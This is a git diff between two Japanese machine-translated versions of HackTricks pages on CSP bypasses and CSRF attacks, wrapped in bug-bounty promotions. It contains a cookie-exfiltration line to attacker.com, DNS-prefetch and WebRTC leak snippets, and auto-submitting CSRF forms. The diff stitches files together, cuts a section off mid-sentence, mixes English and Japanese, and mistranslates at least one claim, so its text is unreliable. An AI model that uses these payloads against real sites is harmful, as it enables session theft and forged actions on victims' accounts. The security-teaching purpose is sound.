この攻撃の実行方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を参照してください。
|
||||
|
||||
## CSP情報漏洩のバイパス
|
||||
|
@ -512,7 +523,7 @@ document.location = "https://attacker.com/?" + sessionid;
|
|||
ページを高速に読み込むために、ブラウザはホスト名を事前に IP アドレスに解決し、後で使用するためにキャッシュします。\
|
||||
ブラウザにホスト名を事前に解決させるためには、次のように指定します:`<link reol="dns-prefetch" href="something.com">`
|
||||
|
||||
これを悪用して、**DNS リクエストを介して機密情報を漏洩**することができます。
|
||||
これを悪用して、**DNS リクエストを介して機密情報を漏洩**させることができます。
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
var body = document.getElementsByTagName('body')[0];
|
||||
|
@ -540,9 +551,9 @@ X-DNS-Prefetch-Control: off
|
|||
var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));
|
||||
```
|
||||
ただし、[もう不可能ではない](https://github.com/w3c/webrtc-nv-use-cases/issues/35)ようです(少なくとも簡単ではないかもしれません)。
|
||||
ただし、それはもはや[不可能ではない](https://github.com/w3c/webrtc-nv-use-cases/issues/35)ようには見えません(少なくとも簡単ではありません)。
|
||||
|
||||
WebRTCを使用して情報を外部に送信する方法を知っている場合は、[**プルリクエストを送ってください!**](https://github.com/carlospolop/hacktricks)
|
||||
もしWebRTCで情報を外部に流出させる方法を知っている場合は、[**プルリクエストを送ってください!**](https://github.com/carlospolop/hacktricks)
|
||||
|
||||
## オンラインでCSPポリシーをチェックする
|
||||
|
||||
|
@ -563,15 +574,22 @@ WebRTCを使用して情報を外部に送信する方法を知っている場
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグ報奨金の場です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -580,7 +598,7 @@ WebRTCを使用して情報を外部に送信する方法を知っている場
|
|||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,46 +4,53 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有して、PRを提出してください** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグ報酬の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから収益を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## CSRFとは?
|
||||
|
||||
**クロスサイトリクエストフォージェリ**(CSRF)は、ウェブセキュリティの脆弱性であり、攻撃者がユーザーに**意図しないアクションを実行させる**ことができます。\
|
||||
これは、**ログインしているユーザー**が攻撃者が制御するウェブサイトにアクセスし、そこから悪意のあるJSコードを実行したり、フォームを送信したり、"画像"を**被害者のアカウント**に取得することで行われます。
|
||||
**クロスサイトリクエストフォージェリ**(CSRF)は、攻撃者が**ユーザーに意図しないアクションを実行させる**ことができるウェブセキュリティの脆弱性です。\
|
||||
これは、**ログインしているユーザー**が被害者プラットフォームにアクセスし、そこから悪意のあるJSコードを実行したり、フォームを送信したり、"画像"を**被害者のアカウント**に取得することで行われます。
|
||||
|
||||
### 必要条件
|
||||
|
||||
CSRFの脆弱性を悪用するためには、まず**悪用する重要なアクションを見つける必要があります**(パスワードやメールアドレスの変更、被害者をソーシャルネットワークでフォローさせる、より多くの特権を与えるなど)。セッションは**クッキーまたはHTTPベーシック認証ヘッダーにのみ依存**している必要があり、他のヘッダーはセッションの処理に使用できません。そして、リクエストに**予測不可能なパラメーターがない**必要があります。
|
||||
CSRFの脆弱性を悪用するためには、まず**悪用する重要なアクションを見つける必要があります**(パスワードやメールアドレスの変更、被害者をソーシャルネットワークでフォローさせる、より多くの特権を与えるなど)。セッションは**クッキーまたはHTTPベーシック認証ヘッダーにのみ依存**する必要があり、他のヘッダーはセッションの処理に使用できません。そして、リクエストに**予測不可能なパラメーターがない**必要があります。
|
||||
|
||||
この脆弱性を回避するためには、いくつかの**対策**が取られる場合があります。
|
||||
|
||||
### **一般的な防御策**
|
||||
|
||||
* [**SameSiteクッキー**](hacking-with-cookies/#samesite): セッションクッキーがこのフラグを使用している場合、任意のウェブサイトからクッキーを送信できない場合があります。
|
||||
* [**クロスオリジンリソース共有**](cors-bypass.md): 関連するアクションを悪用するために実行する必要があるHTTPリクエストの種類に応じて、被害者サイトの**CORSポリシー**を考慮する必要があります。_CORSポリシーは、単にGETリクエストまたはフォームからのPOSTリクエストを送信し、応答を読み取る必要がない場合には影響しません。_
|
||||
* [**SameSiteクッキー**](hacking-with-cookies/#samesite):セッションクッキーがこのフラグを使用している場合、任意のウェブサイトからクッキーを送信できない場合があります。
|
||||
* [**クロスオリジンリソース共有**](cors-bypass.md):関連するアクションを悪用するために実行する必要があるHTTPリクエストの種類に応じて、被害者サイトの**CORSポリシー**を考慮する必要があります。_CORSポリシーは、単にGETリクエストまたはフォームからのPOSTリクエストを送信し、応答を読み取る必要がない場合には影響しません。_
|
||||
* **パスワード**ユーザーにアクションを許可するように要求する。
|
||||
* **キャプチャ**を解決する
|
||||
* **リファラ**または**オリジン**ヘッダーを読む。正規表現が使用されている場合、次のようにバイパスできます。
|
||||
* **リファラ**または**オリジン**ヘッダーを読み取る。正規表現が使用されている場合、次のようにバイパスできます。
|
||||
* http://mal.net?orig=http://example.com(URLで終わる)
|
||||
* http://example.com.mal.net(URLで始まる)
|
||||
* POSTまたはGETリクエストのパラメーターの**名前**を**変更**する
|
||||
* 各セッションで**CSRFトークン**を使用する。このトークンは、アクションを確認するためにリクエスト内に送信する必要があります。このトークンはCORSで保護される場合があります。
|
||||
* 各セッションで**CSRFトークン**を使用する。このトークンは、アクションを確認するためにリクエスト内に送信する必要があります。このトークンはCORSで保護することができます。
|
||||
|
||||
### CSRFマップ
|
||||
|
||||
|
@ -57,24 +64,17 @@ CSRFの脆弱性を悪用するためには、まず**悪用する重要なア
|
|||
|
||||
### トークンの欠如
|
||||
|
||||
一部のアプリケーションは、トークンが存在する場合に正しく**トークンを検証**しますが、トークンが欠落している場合には検証をスキップします。\
|
||||
この状況では、攻撃者はトークンを含むパラメーター全体を(値だけでなく)削除して検証をバイパスし、CSRF攻撃を実行できます。
|
||||
一部のアプリケーションは、トークンが存在する場合には正しく**トークンを検証しますが、トークンが省略された場合には検証をスキップします**。\
|
||||
この状況では、攻撃者はトークンを含むパラメーター全体を(値だけでなく)削除して検証をバイパスし、CSRF攻撃を実行することができます。
|
||||
|
||||
### CSRFトークンがユーザーセッションに関連付けられていない
|
||||
|
||||
一部のアプリケーションは、リクエストを行っているユーザーと同じセッションにトークンが属していることを**検証しない**場合があります。代わりに、アプリケーションは発行したトークンのグローバルプールを維持し、このプールに表示されるトークンを受け入れます。\
|
||||
この状況では、攻撃者は自分のアカウントを使用してアプリケーションにログインし、有効なトークンを取得し、そのトークンをCSRF攻撃の被害者ユーザーに提供することができます。
|
||||
一部のアプリケーションは、リクエストを行っているユーザーと同じセッションにトークンが属していることを**検証しません**。代わりに、アプリケーションは発行したトークンのグローバルプールを維持し、このプールに表示されるトークンを受け入れます。\
|
||||
この状況では、攻撃者は自分のアカウントを使用してアプリケーションにログインし、**有効なトークンを取得**し、そのトークンをCSRF攻撃の被害者ユーザーに提供することができます。
|
||||
|
||||
### メソッドバイパス
|
||||
|
||||
リクエストが「**奇妙な**」**メソッド**を使用している場合、**メソッドオーバーライド機能**が機能しているかどうかを確認してください。\
|
||||
たとえば、**PUT**メソッドを使用している場合、**POST**メソッドを使用して次のように送信できます:_https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
これは、**\_methodパラメーターをPOSTリクエスト内に送信**するか、**ヘッダー**を使用しても機能します。
|
||||
|
||||
* _X-HTTP-Method_
|
||||
* _X-HTTP-Method-Override_
|
||||
* _X-Method-Override_
|
||||
リクエストが「**奇妙な**」
|
||||
### カスタムヘッダートークンのバイパス
|
||||
|
||||
もしリクエストが**CSRF保護手法**として**トークン**を含む**カスタムヘッダー**を追加している場合、以下の手順を実行します:
|
||||
|
@ -89,7 +89,7 @@ CSRFの脆弱性を悪用するためには、まず**悪用する重要なア
|
|||
次のリクエストが検証される際、アプリケーションは単純に**リクエストパラメーターに送信されたトークンがクッキーに保存された値と一致するかどうか**を確認します。\
|
||||
この状況では、攻撃者は再びCSRF攻撃を実行することができます。攻撃者は、犠牲者にCSRFクッキーを設定することができる脆弱性がウェブサイトに存在する場合、CRLFのような形で攻撃を行うことができます。
|
||||
|
||||
この場合、偽の画像を読み込むことを試みてクッキーを設定し、次にこの例のようにCSRF攻撃を実行することができます:
|
||||
この場合、偽の画像を読み込むことを試みてクッキーを設定し、次に次の例のようにCSRF攻撃を実行することができます:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
|
@ -110,15 +110,15 @@ CSRFの脆弱性を悪用するためには、まず**悪用する重要なア
|
|||
|
||||
### Content-Typeの変更
|
||||
|
||||
[**こちら**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)によると、**プリフライトを回避**するために、**POST**メソッドを使用する場合、次のContent-Typeの値が許可されています。
|
||||
[**こちら**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)によると、**POST**メソッドを使用して**プリフライトを回避**するために、次のContent-Typeの値が許可されています。
|
||||
|
||||
* **`application/x-www-form-urlencoded`**
|
||||
* **`multipart/form-data`**
|
||||
* **`text/plain`**
|
||||
|
||||
ただし、使用する**Content-Type**によっては、**サーバーのロジックが異なる場合がある**ことに注意してください。したがって、上記の値や**`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._など、他の値も試してみる必要があります。
|
||||
ただし、使用する**Content-Type**によっては、**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**_**,**_**`text/xml`**_**,**_**`application/xml`**などの他の値を試す必要があります。
|
||||
|
||||
[ここ](https://brycec.me/posts/corctf\_2021\_challenges)からの例:JSONデータをtext/plainとして送信する場合:
|
||||
[ここ](https://brycec.me/posts/corctf\_2021\_challenges)からのJSONデータをtext/plainとして送信する例:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
@ -145,7 +145,7 @@ form.submit();
|
|||
|
||||
**Refererヘッダーを回避する**
|
||||
|
||||
一部のアプリケーションでは、リクエストにRefererヘッダーが存在する場合にのみ、そのヘッダーを検証しますが、ヘッダーが省略された場合は検証をスキップします。
|
||||
一部のアプリケーションは、リクエストにRefererヘッダーが存在する場合にのみそのヘッダーを検証しますが、ヘッダーが省略された場合は検証をスキップします。
|
||||
```markup
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
|
@ -174,23 +174,30 @@ document.forms[0].submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについて詳しく学びましょう**
|
||||
**HackenProofはすべての暗号バグ報酬の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報酬について通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから収益を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## **攻撃例**
|
||||
|
||||
### **CSRFトークンの抽出**
|
||||
### **CSRFトークンの外部流出**
|
||||
|
||||
もし**CSRFトークン**が**防御手段**として使用されている場合、[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)の脆弱性や[**Dangling Markup**](dangling-markup-html-scriptless-injection.md)の脆弱性を悪用して**抽出**することができます。
|
||||
もし**CSRFトークン**が**防御手段**として使用されている場合、[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)の脆弱性や[**Dangling Markup**](dangling-markup-html-scriptless-injection.md)の脆弱性を悪用して**トークンを外部流出**させることができます。
|
||||
|
||||
### **HTMLタグを使用したGET**
|
||||
### **HTMLタグを使用したGETリクエスト**
|
||||
```markup
|
||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||
<h1>404 - Page not found</h1>
|
||||
|
@ -252,11 +259,11 @@ To perform this attack, the attacker crafts a webpage that contains an iframe po
|
|||
|
||||
The malicious form can be designed to perform various actions on behalf of the victim, such as changing account settings, making purchases, or even initiating sensitive transactions. Since the request originates from the victim's browser, it appears legitimate to the target website, bypassing any CSRF protection measures in place.
|
||||
|
||||
悪意のあるフォームは、被害者の代わりにさまざまなアクションを実行するように設計することができます。例えば、アカウント設定の変更、購入の実行、または機密なトランザクションの開始などです。リクエストは被害者のブラウザから発信されるため、対象のウェブサイトには正当なものと見なされ、CSRF保護対策を回避します。
|
||||
悪意のあるフォームは、被害者の代わりにさまざまなアクションを実行するように設計することができます。例えば、アカウント設定の変更、購入の実行、または機密なトランザクションの開始などです。リクエストは被害者のブラウザから発信されるため、対象のウェブサイトには正当なものと見なされ、設置されているCSRF保護対策をバイパスします。
|
||||
|
||||
To mitigate this vulnerability, web developers should implement CSRF protection mechanisms such as anti-CSRF tokens or same-site cookies. Additionally, users should be cautious when visiting unfamiliar websites or clicking on suspicious links to minimize the risk of falling victim to CSRF attacks.
|
||||
|
||||
この脆弱性を軽減するために、ウェブ開発者は、アンチ-CSRFトークンや同一サイトクッキーなどのCSRF保護メカニズムを実装する必要があります。さらに、ユーザーは、不慣れなウェブサイトを訪れたり、疑わしいリンクをクリックしたりする際に注意を払い、CSRF攻撃に巻き込まれるリスクを最小限に抑えるべきです。
|
||||
この脆弱性を軽減するために、ウェブ開発者は、アンチ-CSRFトークンや同一サイトクッキーなどのCSRF保護メカニズムを実装する必要があります。さらに、ユーザーは、不慣れなウェブサイトを訪れたり、疑わしいリンクをクリックしたりする際に注意を払い、CSRF攻撃の被害に遭うリスクを最小限に抑えるべきです。
|
||||
```markup
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
|
@ -276,15 +283,56 @@ document.forms[0].submit();
|
|||
```
|
||||
### **Ajax POST リクエスト**
|
||||
|
||||
Ajax POST リクエストは、Webアプリケーションの脆弱性を悪用するための一般的な攻撃手法の1つです。この攻撃は、クロスサイトリクエストフォージェリ(CSRF)としても知られています。
|
||||
Ajax POST リクエストは、クライアントがサーバーにデータを送信するための非同期通信メカニズムです。このリクエストは、Webアプリケーションの機能を拡張するために使用されます。
|
||||
|
||||
攻撃者は、被害者がログインしているWebアプリケーションに対して、不正なPOSTリクエストを送信します。このリクエストは、被害者の認証情報を使用して送信されるため、Webアプリケーションは正当なリクエストとして処理します。
|
||||
以下は、Ajax POST リクエストの基本的な構文です。
|
||||
|
||||
攻撃者は、不正なリクエストを作成するためにJavaScriptを使用し、そのリクエストを送信するためにAjaxを利用します。これにより、攻撃者は被害者のアカウントに対して悪意のある操作を実行することができます。
|
||||
```javascript
|
||||
$.ajax({
|
||||
url: '/endpoint',
|
||||
type: 'POST',
|
||||
data: {
|
||||
param1: 'value1',
|
||||
param2: 'value2'
|
||||
},
|
||||
success: function(response) {
|
||||
// リクエストが成功した場合の処理
|
||||
},
|
||||
error: function(xhr, status, error) {
|
||||
// リクエストが失敗した場合の処理
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
この攻撃を防ぐためには、WebアプリケーションはCSRFトークンを実装する必要があります。CSRFトークンは、リクエストが正当なものであることを確認するために使用されます。トークンは、ユーザーのセッションに関連付けられ、リクエストと一緒に送信されます。Webアプリケーションは、トークンが正当であるかどうかを検証し、不正なリクエストを拒否することができます。
|
||||
この例では、`/endpoint` というエンドポイントに対して、POST メソッドでデータを送信しています。`data` パラメータには、送信するデータをオブジェクト形式で指定します。
|
||||
|
||||
攻撃者は、CSRFトークンを知らない限り、この攻撃を成功させることはできません。したがって、Webアプリケーションのセキュリティを向上させるためには、CSRFトークンの実装が重要です。
|
||||
成功した場合は、`success` コールバック関数が呼び出され、レスポンスデータが引数として渡されます。失敗した場合は、`error` コールバック関数が呼び出され、エラー情報が引数として渡されます。
|
||||
|
||||
Ajax POST リクエストは、CSRF(クロスサイトリクエストフォージェリ)攻撃に対して脆弱性を持つことがあります。この攻撃では、攻撃者が被害者の代わりに意図しないリクエストを送信することができます。
|
||||
|
||||
この脆弱性を防ぐためには、適切なCSRFトークンをリクエストに含める必要があります。CSRFトークンは、サーバーが生成し、クライアントに提供する一意の識別子です。リクエストを送信する際に、このトークンを含めることで、正当なユーザーであることを証明します。
|
||||
|
||||
```javascript
|
||||
$.ajax({
|
||||
url: '/endpoint',
|
||||
type: 'POST',
|
||||
data: {
|
||||
param1: 'value1',
|
||||
param2: 'value2',
|
||||
csrf_token: 'xxxxxxxxxxxxx' // CSRFトークンを含める
|
||||
},
|
||||
success: function(response) {
|
||||
// リクエストが成功した場合の処理
|
||||
},
|
||||
error: function(xhr, status, error) {
|
||||
// リクエストが失敗した場合の処理
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
CSRFトークンは、セッションごとに生成される必要があります。また、トークンの有効期限を設定し、定期的に更新することも重要です。これにより、攻撃者が有効なトークンを推測することが困難になります。
|
||||
|
||||
以上が、Ajax POST リクエストの基本的な構文とCSRF対策の概要です。セキュリティを確保するためには、適切な対策を講じることが重要です。
|
||||
```markup
|
||||
<script>
|
||||
var xh;
|
||||
|
@ -313,15 +361,38 @@ data: "param=value¶m2=value2"
|
|||
```
|
||||
### multipart/form-data POST リクエスト
|
||||
|
||||
When submitting a form with file uploads, the `multipart/form-data` encoding type is used. This encoding allows the form data to be sent as a series of parts, each containing a separate field and its corresponding value.
|
||||
When submitting a form with file uploads, the `multipart/form-data` content type is used in the POST request. This content type allows the form data to be sent as a series of parts, each containing a separate field and its corresponding value.
|
||||
|
||||
To perform a CSRF attack on a `multipart/form-data` POST request, the attacker needs to craft a malicious HTML page that includes a form with the target website's URL as the action attribute. The attacker can then trick the victim into submitting this form, causing the victim's browser to send the request to the target website.
|
||||
ファイルのアップロードを含むフォームを送信する際には、POST リクエストで `multipart/form-data` コンテンツタイプが使用されます。このコンテンツタイプでは、フォームデータが個別のフィールドとその対応する値を含む一連のパートとして送信されます。
|
||||
|
||||
The attacker can include hidden fields in the form to specify the values of the fields expected by the target website. These hidden fields can be pre-filled with values that the attacker wants to submit.
|
||||
Each part in the request body is separated by a boundary, which is a unique string that does not appear in the data. The boundary is specified in the `Content-Type` header of the request.
|
||||
|
||||
To prevent CSRF attacks, it is important for websites to implement measures such as using anti-CSRF tokens. These tokens are unique for each user session and are included in the form as a hidden field. When the form is submitted, the server verifies the token to ensure that the request is legitimate.
|
||||
リクエストボディ内の各パートは、データには表示されない一意の文字列であるバウンダリによって区切られます。バウンダリは、リクエストの `Content-Type` ヘッダで指定されます。
|
||||
|
||||
By understanding how `multipart/form-data` POST requests work and the potential vulnerabilities they can introduce, you can better protect your website from CSRF attacks.
|
||||
Each part consists of a header and a body. The header contains metadata about the part, such as the field name and the filename (if applicable). The body contains the actual data of the field.
|
||||
|
||||
各パートはヘッダとボディで構成されます。ヘッダには、フィールド名やファイル名(該当する場合)など、パートに関するメタデータが含まれます。ボディには、フィールドの実際のデータが含まれます。
|
||||
|
||||
To construct a `multipart/form-data` POST request, you need to set the `Content-Type` header to `multipart/form-data` and include the appropriate boundary. Each part is then formatted as follows:
|
||||
|
||||
`multipart/form-data` POST リクエストを構築するには、`Content-Type` ヘッダを `multipart/form-data` に設定し、適切なバウンダリを含める必要があります。各パートは以下のようにフォーマットされます。
|
||||
|
||||
```
|
||||
--boundary
|
||||
Content-Disposition: form-data; name="field_name"; filename="file_name"
|
||||
Content-Type: file_type
|
||||
|
||||
field_data
|
||||
--boundary--
|
||||
```
|
||||
|
||||
In the above example, `boundary` is the boundary string, `field_name` is the name of the field, `file_name` is the name of the file (if applicable), `file_type` is the MIME type of the file, and `field_data` is the actual data of the field.
|
||||
|
||||
上記の例では、`boundary` はバウンダリ文字列、`field_name` はフィールドの名前、`file_name` はファイルの名前(該当する場合)、`file_type` はファイルの MIME タイプ、`field_data` はフィールドの実際のデータです。
|
||||
|
||||
When processing a `multipart/form-data` POST request, the server needs to parse the request body and extract the individual parts. This can be done using libraries or frameworks that support `multipart/form-data` parsing.
|
||||
|
||||
`multipart/form-data` POST リクエストを処理する際には、サーバーはリクエストボディを解析し、個々のパートを抽出する必要があります。これは、`multipart/form-data` 解析をサポートするライブラリやフレームワークを使用して行うことができます。
|
||||
```javascript
|
||||
myFormData = new FormData();
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
||||
|
@ -342,30 +413,37 @@ In this technique, we will explore how to perform a Cross-Site Request Forgery (
|
|||
|
||||
A multipart/form-data POST request is commonly used to upload files or submit form data that includes binary content. This type of request consists of multiple parts, each containing a separate piece of data.
|
||||
|
||||
#### Exploiting CSRF with multipart/form-data POST request
|
||||
#### Steps
|
||||
|
||||
To exploit CSRF using a multipart/form-data POST request, follow these steps:
|
||||
1. Identify the target: Choose the website or application you want to target for the CSRF attack.
|
||||
|
||||
1. Identify the target website that is vulnerable to CSRF.
|
||||
2. Craft a malicious HTML page or an email containing a hidden form that submits a multipart/form-data POST request to the target website.
|
||||
3. Include the necessary fields in the form to perform the desired action on the target website.
|
||||
4. Set the `enctype` attribute of the form to `multipart/form-data` to indicate that the request will contain multiple parts.
|
||||
5. Set the `method` attribute of the form to `POST` to specify that the request should be sent using the POST method.
|
||||
6. Set the `action` attribute of the form to the URL of the target website's vulnerable endpoint.
|
||||
7. Include any additional fields required by the target website, such as CSRF tokens or session cookies.
|
||||
8. Submit the form automatically using JavaScript or by tricking the victim into submitting it.
|
||||
9. The target website will process the malicious request, unaware that it was initiated by an attacker.
|
||||
10. The desired action will be performed on the target website, potentially leading to unauthorized access or data manipulation.
|
||||
2. Analyze the target: Understand the target's functionality and identify any forms or actions that can be exploited.
|
||||
|
||||
3. Create the malicious payload: Craft a malicious HTML page or script that will execute the CSRF attack. This payload should include a form with the necessary fields to perform the desired action on the target.
|
||||
|
||||
4. Set up a server: Host the malicious payload on a server that you control. This server will be used to serve the payload to the victim.
|
||||
|
||||
5. Prepare the payload: Modify the payload to include the necessary fields for the multipart/form-data POST request. Each field should be defined using the appropriate HTML tags and include the required data.
|
||||
|
||||
